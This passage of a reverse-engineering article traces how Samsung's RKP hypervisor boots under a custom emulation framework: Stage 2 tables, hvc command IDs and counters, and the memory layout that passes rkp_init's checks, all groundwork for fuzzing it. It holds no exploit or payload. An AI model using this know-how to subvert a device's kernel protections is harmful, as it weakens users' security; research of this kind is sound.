The entry point eventually leads to RKP function `vmm_main()` (0xb0101818). The function initially checks whether RKP has already been initialized (3) and if true it returns, or else proceeds with the initialization and sets the initialization flag. Immediately after this, `memory_init()` function (0xb0101f24) is called where a flag is set indicating that memory is active and a 0x1f000 sized buffer at 0xb0220000 is initialized to zero.

// vmm‑G955FXXU4CRJ5.elf

int64_t vmm_main(int64_t hyp_base_arg, int64_t hyp_size_arg, char **stacks) {

...

if ( !initialized_ptr ) 3) */

{

initialized_ptr = 1;

memory_init();

log_message("RKP_cdb5900c %sRKP_b826bc5a %s\n",

"Jul 11 2018", "11:19:43");

/* various log messages and misc initializations */

heap_init(base, size);

stacks = memalign(8, 0x10000) + 0x2000;

vmm_init();

...

if (hyp_base_arg != 0xB0100000)

return ‑1;

...

set_ttbr0_el2(&_static_s1_page_tables_start___ptr); s1_enable();

set_vttbr_el2(&_static_s2_page_tables_start___ptr); s2_enable();

}

...

return result;

}

This buffer is the RKP log and along with RKP debug log at 0xb0200000, which will be presented later, they comprise the EL2 oracles. Both of them are made available via procfs entry /proc/rkp_log and interested readers can check kernel/drivers/rkp/rkp_debug_log.c for more information from the kernel perspective. RKP log is written to by `log_message()` function (0xb0102e94) among others and an edited sample output from `vmm_main()` with deobfuscated strings as comments with the help of S7 hypervisor binary as mentioned before.

RKP_1f22e931 0xb0100000 RKP_dd15365a 40880 // file base: %p size %s

RKP_be7bb431 0xb0100000 RKP_dd15365a 100000 // region base: %p size %s

RKP_2db69dc3 0xb0220000 RKP_dd15365a 1f000 // memory log base: %p size %s

RKP_2c60d5a7 0xb0141000 RKP_dd15365a bf000 // heap base: %p size %s

During the initialization the heap is initialized and memory is allocated for the stack which has been temporarily set to a reserved region during compilation. Next, in `vmm_init()` (0xb0109758) two critical actions are performed. First, the EL2 exception vector table (0xb010b800) is set in VBAR_EL2 enabling us to invoke RKP from EL1 via `hvc`. Finally, HCR_EL2.TVM (bit 26) is set trapping EL1 writes to virtual memory control registers (SCTLR_EL1, TTBRnRL1, TCR_EL1, etc) to EL2 with Syndrome Exception Class (ESR_EL2.EC bits [31:26]) value 0x18 (more on this while discussing the EL2 synchronous exception handler).

At this point we clarify one the aforementioned constrains; that of the RKP bootstrap arguments. The RKP PA is compared at this point with hardcoded value 0xb0100000 and if there's a mismatch the bootstrap process terminates and ‑1 is returned denoting failure. Furthermore, the PA is stored and used later during the paging initialization, also discussed later.

If the RKP PA check is satisfied, the final bootstrap steps comprise the MMU and memory translations enabling. First, EL2 Stage 1 translations are enabled. TTBR0_EL2 is set to predefined static tables at 0xb011a000 and `s1_enable()` (0xb0103dcc) function is called. First, MAIR_EL2 is set to define two memory attributes (one for normal memory and one for device memory). Next, TCR_EL2 is ORed with 0x23518 which defines a 40 bits or 1TB Physical Address Size (TCR_EL2.PS bits[18:16]), a 4kB Granule size (TCR_EL2.TG0 bits[15:14]) and 24 size offset (TCR_EL2.T0SZ bits[5:0]) which corresponds to a 64‑24=40 bit or 1TB input address space for TTBR0_EL2. To conclude `s1_enable()` SCTLR_EL2 is set with the important values being SCTLR_EL2.WNX (bit 19) which enables the behavior where write permission implies XN and SCTLR_EL2.M (bit 0) which enables the MMU.

Last but not least, Stage 2 translation is enabled. VTTBR_EL2 which holds the Stage 2 translation tables is set to the predefined static tables at 0xb012a000. Next, Virtual Translation Control Register (VTCR_EL2) is set which as the name dictates, controls the Stage 2 translation process similarly to TCR_ELx for Stage 1 translations. Its value defines a 40 bits or 1TB Physical Address Size (VTCR_EL2.PS bits[18:16]), a 4kB Granule size (TCR_EL2.TG0 bits[15:14]), and 24 size offset (TCR_EL2.T0SZ bits[5:0]) which corresponds to a 64‑24=40 bit or 1TB input address space for VTTBR0_EL2. Moreover, Starting Level of Stage 2 translation controlled by VTCR_EL2.SL0 (bits[7:6]) is set to 1 and since TCR_EL2.TG0 is set to 4kB Stage 2 translations start at Level 1 with concatenated tables which will be explained in detail next. Finally, HCR_EL2.VM (bit 0) is set to enable Stage 2 translation.

‑‑‑‑‑‑[ 2.2.1 ‑ Stage 2 translation & Concatenated tables

As AARM states "for a Stage 2 translation, up to 16 translation tables can be concatenated at the initial lookup level. For certain input address sizes, concatenating tables in this way means that the lookup starts at a lower level than would otherwise be the case". We are going to demonstrate this in our current setup but for more details refer to section "D5.2.6 Overview of the VMSAv8‑64 address translation stages" of AARM.

Since we have a 40 bit input address range only bit 39 of the input VA is used to index translation table at Level 0 and as a result only two Level 1 tables exist. Instead of the default setup, ARM allows to concatenate the two tables in contiguous physical pages and start translation in Level 1. To index the Level 1 tables, IPA bits[39:30] are used instead of the traditional bits[38:30].

+‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑‑Default approach

| 39 | [38:30] | [29:21] | [20:12] | [11:0] | Stage 2 translation

| | | | IPA segmentation

| Level 0 | Level 1 | Level 2 | Level 3 | Block off | 4kB Granule

+‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑‑40‑bit IPS

+‑‑‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑‑+‑‑‑‑‑Concatenated Tables

| [39:30] | [29:21] | [20:12] | [11:0] | IPA segmentation

| | | | 4kB Granule

| Level 1 | Level 2 | Level 3 | Block off | 40‑bit IPS

+‑‑‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑‑+‑‑‑‑‑VTCR_EL2.SL0 = 1

We have included a gdb script to dump the Stage 2 translation tables based on tools from [03] and [06]. The script reads the table PA from VTTBR_EL2 and is configured for our setup only and not the generic approach. Moreover, it needs to be called from EL2 or EL3, for which `switchel <#>` command can be used. Finally, our analysis indicates that there is a 1:1 mapping between IPAs and PAs.

(gdb) switchel

$cpsr = 0x5 (EL1)

(gdb) switchel 2

Moving to EL2

$cpsr = 0x9

(gdb) pagewalk

########################################

# Dump Second Stage Translation Tables #

########################################

PA Size: 40‑bits

Starting Level: 1

IPA range: 0x000000ffffffffff

Page Size: 4KB

...

Third level: 0x1c07d000‑0x1c07e000: S2AP=11, XN=10

Third level: 0x1c07e000‑0x1c07f000: S2AP=11, XN=10

...

second level block: 0xbfc00000‑0xbfe00000: S2AP=11, XN=0 second level block: 0xbfe00000‑0xc0000000: S2AP=11, XN=0

first level block: 0xc0000000‑0x100000000: S2AP=11, XN=0

first level block: 0x880000000‑0x8c0000000: S2AP=11, XN=0

...

(gdb) switchel 1

Moving to EL1

$cpsr = 0x5 (EL1)

‑‑‑‑‑‑[ 2.2.2 ‑ EL2 bootstrap termination and EL1 physical address

Now that the hypervisor is setup we can resume with the framework setup. The bootstrap process terminates via an `smc` command thus returning to EL3. X0 holds the special value 0xc2000401 and X1 the return value of the operation (zero denoting success). If the bootstrap process fails, `handle_interrupt_el3()` fails (5) and the system hangs (4).

// framework/vectors.S

el3_synch_low_64:

build_exception_frame

bl handle_interrupt_el3

cmp x0, #0 4) */

b.eq 1f

b .

1:

restore_exception_frame

eret

...

// framework/interrupt‑handler.c

int handle_interrupt_el3(uint64_t value, uint64_t status)

{

int ret = 0;

switch (value) {

case 0xc2000401: // special return value from vmm initialization

if (status == 0) { _reset_and_drop_el1_main();

} else {

ret = ‑1; 5) */

}

...

}

Careful readers might have noticed that the EL2 `smc` invocation causes a new exception frame to be stored in EL3 and in order to return to EL1 we must properly restore the state. Well, due to the framework minimal nature no information needs to be saved before or after EL2 bootstrap. As a result we simply reset the state (i.e. stack pointers) and drop to EL1 function `_el1_main()` which in turn leads to `el1_main()`.

// framework/boot64.S

...

_reset_and_drop_el1_main:

/*

* We have initialized vmm. Jump to EL1 main since HVC is now enabled, * and EL1 does not require EL3 to interact with hypervisor */

// setup EL3 stack

ldr x30, =stack_top_el3

mov sp, x30

// setup EL1 stack

ldr x30, =stack_top_el1

msr sp_el1, x30

mov x0, #(AARCH64_SPSR_FROM_AARCH64 | AARCH64_SPSR_MODE_EL1 | \ AARCH64_SPSR_SP_SEL_N)

msr spsr_el3, x0

// drop to function _el1_main

adr x0, _el1_main

msr elr_el3, x0

eret 6) */

...

_el1_main:

mov x20, #‑1

lsl x20, x20, #VA_BITS

adr x0, el1_main

add x0, x0, x20

blr x0

...

Here we explain another system constrain. Our framework was arbitrarily placed at PA 0x80000000. The reason should by now be obvious. After enabling Stage 2 translation, every EL1 IPA is translated through Stage 2 tables to find the PA. Examining the hypervisor static maps reveals region starting at 0x80000000 to satisfy the criteria required for lower level execution. Specifically, eXecute Never (XN) field is unset and there is no write permissions. Should the kernel be placed in an unmapped or non executable for Stage 2 translation region during framework initialization, then returning from EL3 to EL1 (6) results in a translation error.

(gdb) pagewalk

########################################

# Dump Second Stage Translation Tables #

########################################

...

Third level: 0x1c07e000‑0x1c07f000: S2AP=11, XN=10

Third level: 0x1c07f000‑0x1c080000: S2AP=11, XN=10

Third level: 0x80000000‑0x80001000: S2AP=1, XN=0

Third level: 0x80001000‑0x80002000: S2AP=1, XN=0

...

54 51 10 2 1:0

+‑‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑Block Entry

| Upper Attr | .... | Low Attr | Type | Stage 2

+‑‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑Translation

| bits | Attr | Description |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| 5:2 | AttrIndex | MAIR_EL2 index |

| 7:6 | S2AP | Access permissions |

| 53:54 | XN | Execute never |

Block entry attributes

| S2AP | EL1/EL0 Access | | XN | Allow Exec | for Stage 2 translation

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑‑‑

| 00 | None | | 00 | EL0/EL1 |

| 01 | Read Only | | 01 | EL0 not EL1 |

| 10 | Write Only | | 10 | None |

| 11 | Read Write | | 11 | EL1 not EL0 |

‑‑‑‑[ 2.3 ‑ RKP Initialization Functions

The first thing performed in `el1_main()` is to initialize RKP. There are numerous steps that comprise RKP initialization and we will present them in the following sections. Before explaining the initialization process though we will describe the RKP exception handlers.

‑‑‑‑‑‑[ 2.3.1 ‑ RKP Synchronous Handler

As explained during the EL2 bootstrap VBAR_EL2 is set at 0xb010b800 where each handler first creates the exception frame storing all generic registers and then calls function `vmm_dispatch()` (0x0b010aa44) with the three arguments being the offset indicating the EL from which the exception was taken, the exception type and the exception frame address respectively. `vmm_dispatch()` is designed to only handle synchronous exceptions and simply returns otherwise. Function `vmm_synchronous_handler()` (0xb010a678) handles as the name suggests the synchronous exceptions and only the exception frame (third) argument is of importance.

stp X1, X0, [SP,#exception_frame]!

...

mov X0, #0x400 // Lower AArch64

mov X1, #0 // Synchronous Exception

mov X2, SP // Exception frame, holding args from EL1

bl vmm_dispatch

...

ldp X1, X0, [SP+0x10+exception_frame],#0x10

clrex

eret

As shown from the following snippet the handler first evaluates ESR_EL2.EC. Data and Instruction Aborts from the current EL (ECs 0x21 and 0x25) are not recoverable and the handler calls `vmm_panic()` function (0xb010a4cc) which leads to system hang. Data and Instruction Aborts from lower EL (ECs 0x20 and 0x24) are handled directly by the handler. Furthermore, as mentioned before, by setting HCR_EL2.TVM during the RKP bootstrap, EL1 writes to virtual memory control registers are trapped to EL2 with EC 0x18 and here handled by function `other_msr_mrs_system()` (0xb010a24c). `hvc` commands either from AArch32 or AArch64 (ECs 0x12 and 0x16) are our main focus and will be explained shortly. Finally, any other ECs return ‑1 which leads `vmm_dispatch()` to `vmm_panic()`.

// vmm‑G955FXXU4CRJ5.elf

int64_t vmm_synchronous_handler(int64_t from_el_offset, int64_t exception_type, exception_frame *exception_frame) {

esr_el2 = get_esr_el2();

...

switch ( esr_el2 >> 26 ) /* Exception Class */

{

case 0x12: /* HVC from AArch32 */

case 0x16: /* HVC from AArch64 */

if ((exception_frame‑>x0 & 0xFFF00000) == 0x83800000) /* (7) */

rkp_main(exception_frame‑>x0, exception_frame); ...

return 0;

case 0x18: /* Trapped MSR, MRS or System instruction execution */

v7 = other_msr_mrs_system(exception_frame); ...

case 0x20: /* Instruction Abort from a lower Exception level */

...

case 0x21: /* Instruction Abort Current Exception Level */

vmm_panic(from_el_offset, exception_type, ...);

case 0x24: /* Data Abort from a lower Exception level */

...

case 0x25: /* Data Abort Current Exception Level */

vmm_panic(from_el_offset, exception_type, ...);

default:

return ‑1;

}

}

Before moving to `hvc` we will be briefly introducing `msr`/`mrs` handling (for details regarding the values of ESR_EL2 discussed here refer to AARM section "D13.2.37"). First, the operation direction is checked via the ESR_EL2.ISS bit 0. As mentioned only writes are supposed to be trapped (direction bit value must be 0) and if somehow a read was trapped, handler ends up in `vmm_panic()`. The general purpose register used for the transfer is discovered from the value of ESR_EL2.ISS.Rt (bits [9:5]). The rest of ESR_EL2.ISS values are used to identify the system register accessed by `msr` and in RKP each system register is handled differently. For example SCTLR_EL1 handler does not allow to disable the MMU or change endianess and TCR_EL1 handler does not allow modification of the Granule size. We will not be examining every case in this (already long) article, but interested readers should by now have more than enough information to start investigating function `other_msr_mrs_system()`.

RKP `hvc` invocation's first argument (X0) is the function identifier and as shown in (7) must abide by a specific format for function `rkp_main()` (0xb010d000) which is the `hvc` handler to be invoked. Specifically, each command is expected to have a prefix value of 0x83800000. Furthermore, to form the command, command indices are shifted by 12 and then ORed with the prefix (readers may also refer to kernel/include/linux/rkp.h). This format is also expected by `rkp_main()` as explained next.

// vmm‑G955FXXU4CRJ5.elf

void rkp_main(unsigned int64_t command, exception_frame *exception_frame) {

hvc_cmd = (command >> 12) & 0xFF; /* (8) */

if ( hvc_cmd && !is_rkp_activated ) /* (9) */

lead_to_policy_violation(hvc_cmd);

...

my_check_hvc_command(hvc_cmd);

switch ( hvc_cmd )

{

case 0:

...

if ( is_rkp_activated ) /* (10) */

rkp_policy_violation(2, 0, 0, 0);

rkp_init(exception_frame);

...

break;

...

void my_check_hvc_command(unsigned int64_t cmd_index)

{

if ( cmd_index > 0x9F )

rkp_policy_violation(3, cmd_index, 0, 0);

prev_counter = my_cmd_counter[cmd_index];

if ( prev_counter != 0xFF )

{

cur_counter = (prev_counter ‑ 1);

if ( cur_counter > 1 ) rkp_policy_violation(3, cmd_index, prev_counter, 0);

my_cmd_counter[cmd_index] = cur_counter;

}

}

`rkp_main()` first extracts the command index (8) and then calls function `my_check_hvc_command()` (0xb0113510). Two things are happening there. First, the index must be smaller than 0x9f. Second, RKP maintains an array with command counters. The counter for RKP initialization command is 1 during the array definition and is set again along with all other values at runtime in function `my_initialize_hvc_cmd_counter()` (0xb011342c) during the initialization. If any of these checks fails, `rkp_policy_violation()` (0xb010dba4) is called which can be considered as an assertion error and leads to system hang. Finally, before allowing any command invocation except for the initialization, a global flag indicating whether RKP is initialized is checked (9). This flag is obviously set after a successful initialization as explained in the following section.

Before continuing with the initialization process we will present some commands as examples to better demonstrate their usage. The first initialization function (presented next) is `rkp_init()` with command id 0 which corresponds to command 0x83800000. During definition, as mentioned above, its counter is set to 1 so that it can be called once before invoking `my_initialize_hvc_cmd_counter()`. Similarly, command id 1 corresponds to deferred initialization function (also presented next), can be reached with command 0x83801000 and since its counter is set to 1 which means it can only be called once. Commands with counter value ‑1 as the ones shown in the table below for handling page tables (commands 0x21 and 0x22 for level 1 and 2 correspondingly) can be called arbitrary number of times.

| Function | ID | Command | Counter |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| rkp_init | 0x0 | 0x83800000 | 0 |

| rkp_def_init | 0x1 | 0x83801000 | 1 |

...

| rkp_pgd_set | 0x21 | 0x83821000 | ‑1 |

| rkp_pmd_set | 0x22 | 0x83822000 | ‑1 |

...

‑‑‑‑‑‑[ 2.3.2 ‑ RKP Initialization

With this information, we are now ready to initialize RKP. In the snippet below we demonstrate the framework process to initialize the RKP (with RKP command id 0). We also show the `rkp_init_t` struct values used in the framework during the invocation and we will be elaborating more on them while examining the RKP initialization function `rkp_init()` (0xb0112f40). Interested readers can also study and compare `framework_rkp_init()` function with Samsung kernel function `rkp_init()` in kernel/init/main.c and the initialization values presented here against some of the values from the sample sec_log output above.

// framework/main.c

void el1_main(void) {

framework_rkp_init();

...

}

// framework/vmm.h

#define RKP_PREFIX (0x83800000)

#define RKP_CMDID(CMD_ID) (((CMD_ID) << 12 ) | RKP_PREFIX)

#define RKP_INIT RKP_CMDID(0x0)

...

// framework/vmm.c

void framework_rkp_init(void)

{

struct rkp_init_t init;

init.magic = RKP_INIT_MAGIC;

init._text = (uint64_t)__va(&_text);

init._etext = (uint64_t)__va(&_etext); init.rkp_pgt_bitmap = (uint64_t)&rkp_pgt_bitmap; init.rkp_dbl_bitmap = (uint64_t)&rkp_map_bitmap; init.rkp_bitmap_size = 0x20000;

init.vmalloc_start = (uint64_t)__va(&_text); init.vmalloc_end = (uint64_t)__va(&_etext+0x1000); init.init_mm_pgd = (uint64_t)&swapper_pg_dir; init.id_map_pgd = (uint64_t)&id_pg_dir; init.zero_pg_addr = (uint64_t)&zero_page; init.extra_memory_addr = RKP_EXTRA_MEM_START; init.extra_memory_size = RKP_EXTRA_MEM_SIZE; init._srodata = (uint64_t)__va(&_srodata); init._erodata = (uint64_t)__va(&_erodata);

rkp_call(RKP_INIT, &init, (uint64_t)VA_OFFSET, 0, 0, 0);

}

// framework/util.S

rkp_call:

hvc #0

ret

ENDPROC(rkp_call)

magic : 0x000000005afe0001

vmalloc_start : 0xffffff8080000000

vmalloc_end : 0xffffff8080086000

init_mm_pgd : 0x0000000080088000

id_map_pgd : 0x000000008008b000

zero_pg_addr : 0x000000008008e000

rkp_pgt_bitmap : 0x0000000080044000

rkp_dbl_bitmap : 0x0000000080064000

rkp_bitmap_size : 0x0000000000020000

_text : 0xffffff8080000000

_etext : 0xffffff8080085000

extra_mem_addr : 0x00000000af400000

extra_mem_size : 0x0000000000600000

physmap_addr : 0x0000000000000000

_srodata : 0xffffff8080085000

_erodata : 0xffffff8080086000

large_memory : 0x0000000000000000

fimc_phys_addr : 0x00000008fa080000

fimc_size : 0x0000000000780000

tramp_pgd : 0x0000000000000000

Before everything else, the debug log at 0xb0200000 is initialized (11). This is the second EL2 oracle and we will be discussing it shortly as it will provide valuable information to help create correct memory mapping for the initialization to be successful.

Evidently, there are two modes of RKP operation which are decided upon during the initialization; normal and test mode. Test mode disables some of the aforementioned `hvc` command invocation counters and enables some command indices/functions. As the name suggests these are used for testing purposes and while these may assist and ease the reversing process, we will not be analyzing them in depth, because the are not encountered in real world setups. The mode is selected by the struct magic field, whose value can either be 0x5afe0001 (normal mode) or 0x5afe0002 (test mode).

It would be possible to change to test mode via a second `rkp_init()` invocation while hoping not to break any other configurations, however this is not possible via normal system interaction. As shown in (12) after a successful initialization, global flag `is_rkp_activated` is set. This flag is then checked (10) before calling `rkp_init()` in `rkp_main()` function as demonstrated in the previously presented snippet.

// vmm‑G955FXXU4CRJ5.elf

void rkp_init(exception_frame *exception_frame)

{

...

rkp_init_values = maybe_rkp_get_pa(exception_frame‑>x1);

rkp_debug_log_init(); 11) */

...

if ( rkp_init_values‑>magic ‑ 0x5AFE0001 <= 1 ){

if ( rkp_init_values‑>magic == 0x5AFE0002 )

{

/* enable test mode */

}

/* store all rkp_init_t struct values */

rkp_physmap_init();

...

if ( rkp_bitmap_init() )

{

/* misc initializations and debug logs */

rkp_debug_log("RKP_6398d0cb", hcr_el2, sctlr_el2, rkp_init_values‑>magic);

/* more debug logs */

if ( rkp_paging_init() )

{

is_rkp_activated = 1; /* (12) */

...

my_initialize_hvc_cmd_counter(); ...

}

}

...

}

...

}

RKP maintains a struct storing all required information. During initialization in RKP function `rkp_init()`, values passed via `rkp_init_t` struct along with the VA_OFFSET are stored there to be used later. Next, various memory regions such as physmap and bitmaps are initialized. We are not going to be expanding on those regions since they are implementation specific, but due to their heavy usage by RKP (especially physmap) we are going to briefly explain them. Physmap contains information about physical regions, such as whether this is an EL2 or EL1 region etc., is set to a predefined EL2 only accessible region as explained next and RKP uses this information to decide if certain actions are allowed on specific regions.

Two bitmaps exist in this specific RKP implementation; rkp_pgt_bitmap and rkp_dbl_bitmap and their physical regions are provided by EL1 kernel. They are both written to by RKP. rkp_pgt_bitmap provides information to EL1 on whether addresses are protected by S2 mappings and as such accesses should be handled by RKP. rkp_dbl_bitmap is used to track and prevent unauthorized mappings from being used for page tables. The `rkp_bitmap_init()` success requires only the pointers to not be zero, however additional restrictions are defined during `rkp_paging_init()` function (0xb010e4c4) later.

Next, we see the RKP debug log being used, dumping system registers thus providing important information regarding the system state/configuration, which has helped us understand the system and configure the framework. Below a (processed) sample output is displayed with the various registers annotated. Finally, Samsung allows OEM unlock for the under examination device model, which allows us to patch vmm.elf, build and boot the kernel with the patched RKP and retrieve additional information. The final snippet line contains the debug log from a separate execution, where MAIR_ELn registers were replaced with SCTLR_EL1 and VTCR_EL2 respectively. How to build a custom kernel and boot a Samsung device with it is left as exercise to the reader.

0000000000000000 neoswbuilder‑DeskTop RKP64_01aa4702 0000000000000000 Jul 11 2018

0000000000000000 11:19:42

/* hcr_el2 */ /* sctlr_el2 */

84000003 30cd1835 5afe0001 RKP_6398d0cb

/* tcr_el2 */ /* tcr_el1 */

80823518 32b5593519 5afe0001 RKP_64996474

/* mair_el2 */ /* mair_el1 */

21432b2f914000ff 0000bbff440c0400 5afe0001 RKP_bd1f621f ...

/* sctlr_el1 */ /* vtcr_el2 */

34d5591d 80023f58 5afe0001 RKP_patched

Finally, one of the most important functions in RKP initialization follows; `rkp_paging_init()`. Numerous checks are performed in this function and the system memory layout must satisfy them all for RKP to by initialized successfully. Furthermore, physmap, bitmaps and EL2 Stage 1 and 2 tables are set or processed. We will be explaining some key points but will not go over every trivial check. Finally, we must ensure that any RKP required regions are reserved. The physical memory layout used in the framework aiming to satisfy the minimum requirements to achieve proper RKP initialization is shown below. Obviously, more complex layouts can be used to implement more feature rich frameworks.

The graph also explains the previously presented size selection of 3GBs for the emulation system RAM. This size ensures that the framework has a sufficiently large PA space to position executables in their expected PAs.

+‑‑‑‑‑‑‑‑‑+ 0x80000000 text, vmalloc

| |

| |

| |

| |

+‑‑‑‑‑‑‑‑‑+ 0x80044000 rkp_pgt_bitmap

| |

| |

+‑‑‑‑‑‑‑‑‑+ 0x80064000 rkp_map_bitmap

| |

| |

+‑‑‑‑‑‑‑‑‑+ 0x80085000 _etext, srodata

| |

+‑‑‑‑‑‑‑‑‑+ 0x80086000 _erodata, vmalloc_end

| |

| |

+‑‑‑‑‑‑‑‑‑+ 0x80088000 swapper_pg_dir

| |

| |

+‑‑‑‑‑‑‑‑‑+ 0x8008b000 id_pg_dir

| |

| |

+‑‑‑‑‑‑‑‑‑+ 0x8008e000 zero_page

| |

...

| |

+‑‑‑‑‑‑‑‑‑+ 0xaf400000 rkp_extra_mem_start

| |

| |

+‑‑‑‑‑‑‑‑‑+ 0xafa00000 rkp_extra_mem_end

| |

+‑‑‑‑‑‑‑‑‑+ 0xafc00000 rkp_phys_map_start

| |

| |

+‑‑‑‑‑‑‑‑‑+ 0xb0100000 rkp_phys_map_end, hyp_base

To sum up the process, after alignment and layout checks, the EL1 kernel region is set in physmap (13) and mapped in EL2 Stage 1 translation tables (14). The two bitmap regions are checked (15) and if they are not incorporated in the kernel text, their Stage 2 (S2) entries are changed to Read‑Only and not executable (16) and finally physmap is updated with the two bitmap regions. FIMC region, which will be discussed shortly, is processed next (17) in function `my_process_fimc_region()` (0xb0112df0). Continuing, kernel text is set as RWX in S2 translation tables (18) which will change later during the initialization to read‑only. Last but not least, physmap and extra memory address are unmapped from S2 (19) and (21) rendering them inaccessible from EL1 and their physmap regions are set (20) and (22).

// vmm‑G955FXXU4CRJ5.elf

int64_t rkp_paging_init(void)

{

/* alignment checks */

v2 = my_rkp_physmap_set_region(text_pa, etext ‑ text, 4); /* (13) */

if ( !v2 ) return v2;

/* alignment checks */

res = s1_map(text_pa, etext_pa ‑ text_pa, 9); /* (14) */

...

/*

* bitmap alignment checks /* (15) */

* might lead to label do_not_process_bitmap_regions */

res = rkp_s2_change_range_permission(rkp_pgt_bitmap, /* (16) */

bitmap_size + rkp_pgt_bitmap, 0x80, 0, 1); // RO, XN

...

res = rkp_s2_change_range_permission(rkp_map_bitmap,

bitmap_size + rkp_map_bitmap,

0x80, 0, 1); // RO, XN

...

do_not_process_bitmap_regions:

if ( !my_rkp_physmap_set_region(rkp_pgt_bitmap, bitmap_size, 4) ) return 0;

res = my_rkp_physmap_set_region(rkp_map_bitmap, bitmap_size, 4); if ( res )

{

res = my_process_fimc_region(); /* (17) */

if ( res )

{

res = rkp_s2_change_range_permission( /* (18) */

text_pa, etext_pa,

0, 1, 1); // RW, X

...

19) */

res = maybe_s2_unmap(physmap_addr, physmap_size + 0x100000); ...

res = my_rkp_physmap_set_region(physmap_addr, /* (20) */

physmap_size + 0x100000, 8);

...

21) */

res = maybe_s2_unmap(extra_memory_addr, extra_memory_size); ...

res = my_rkp_physmap_set_region(extra_memory_addr, /* (22) */

extra_memory_size, 8);

...

}

}

return res;

}

FIMC refers to Samsung SoC Camera Subsystem and during the kernel initialization, regions are allocated and binaries are loaded from the disk. There is only one relevant `hvc` call, related to the FIMC binaries verification (command id 0x71). RKP modifies the related memory regions permissions and then invokes EL3 to handle the verification in function `sub_B0101BFC()`. Since we are implementing our own EL3 and are interested in EL2 functionality we will be ignoring this region. However, we still reserve it for completeness reasons and function `my_process_fimc_region()` simply processes the S2 mappings for this region. By invoking `hvc` with command id 0x71, even if every other condition is met and `smc` is reached, as discussed above EL3 will hang because there is no handler for `smc` command id 0xc200101d in our setup.

// vmm‑G955FXXU4CRJ5.elf

sub_B0101BFC

...

mov X0, #0xC200101D

mov X1, #0xC

mov X2, X19 // holds info about fimc address, size, etc.

mov X3, #0

dsb SY

smc #0

...

Although, as mentioned, simply reserving the region will suffice for this specific combination of hypervisor and subsystem, it is indicative of the considerations needed when examining hypervisors, even if more complex actions are required by other hypervisors and/or subsystems. For example the verification might have been incorporated in the initialization procedure, in which case this could be handled by our framework EL3 component.

At this step we have performed the first step of RKP initialization successfully. After some tasks such as the `hvc` command counters initialization and the `is_rkp_activated` global flag setting `rkp_init()` returns. We can now invoke other `hvc` commands.

‑‑‑‑‑‑[ 2.3.3 ‑ RKP Deferred Initialization

The next step is the deferred initialization which is handled by function `rkp_def_init()` (0xb01131dc) and its main purpose is to set the kernel S2 translation permissions.

// vmm‑G955FXXU4CRJ5.elf

void rkp_def_init(void)

{

...

if ( srodata_pa >= etext_pa )

{

if (!rkp_s2_change_range_permission(text_pa, etext_pa, 0x80, 1, 1)) // Failed to make Kernel range ROX

rkp_debug_log("RKP_ab1e86d9", 0, 0, 0);

}

else

{

res = rkp_s2_change_range_permission(text_pa, srodata_pa,

0x80, 1, 1)) // RO, X

...

res = rkp_s2_change_range_permission(srodata_pa, etext_pa,

0x80, 0, 1)) // RO, XN

...

}

rkp_l1pgt_process_table(swapper_pg_dir, 1, 1); RKP_DISALLOW_DEBUG = 1;

rkp_debug_log("RKP_8bf62beb", 0, 0, 0);

}

As demonstrated below after `rkp_s2_change_range_permission()` invocation the kernel region is set to read only. Finally, in `rkp_l1pgt_process_table()` swapper_pg_dir (TTBR1_EL1) and its subtables are set to read‑only and not‑executable.

// EL1 text before rkp_s2_change_range_permission()

Third level: 0x80000000‑0x80001000: S2AP=11, XN=0

...

// EL1 text after rkp_s2_change_range_permission()

Third level: 0x80000000‑0x80001000: S2AP=1, XN=0

...

// swapper_pg_dir before rkp_l1pgt_process_table()

Third level: 0x80088000‑0x80089000: S2AP=11, XN=0

Third level: 0x80089000‑0x8008a000: S2AP=11, XN=0

...

// swapper_pg_dir after rkp_l1pgt_process_table()

Third level: 0x80088000‑0x80089000: S2AP=1, XN=10

Third level: 0x80089000‑0x8008a000: S2AP=1, XN=10

...

‑‑‑‑‑‑[ 2.3.4 ‑ Miscellaneous Initializations

In our approach, we have not followed the original kernel initialization to the letter. Specifically, we skip various routines initializing values regarding kernel structs such as credentials, etc., which are void of meaning in our minimal framework. Moreover, these are application specific and do not provide any valuable information required by the ARM architecture to properly define the EL2 state. However, we will be briefly presenting them here for completeness reasons, and as our system understanding improves and the framework supported functionality requirements increase (for example to improve fuzzing discussed next) they can be incorporated in the framework.

Command 0x40 is used to pass information about cred and task structs offsets and then command 0x42 for cred sizes during the credential initialization in kernel's `cred_init()` function. Next, in `mnt_init()` command 0x41 is used to inform EL2 about vfsmount struct offsets and then when rootfs is mounted in `init_mount_tree()` information regarding the vfsmount are sent via command 0x55. This command is also used later for the /system partition mount. These commands can only be called once (with the exception of command 0x55 whose counter is 2) and as mentioned above are used in the original kernel initialization process. Incorporating them to the framework requires understanding of their usage from both the kernel and the hypervisor perspective which will be left as an exercise to the reader who can start by studying the various `rkp_call()` kernel invocations.

‑‑‑‑[ 2.4 ‑ Final Notes

At this point we have performed most of the expected RKP initialization routines. We now have a fully functional minimal framework which can be easily edited to test and study the RKP hypervisor behavior.

More importantly we have introduced fundamental concepts for readers to implement their own setups and reach the current system state which allows us to interact with it and start investigating fuzzing implementations.

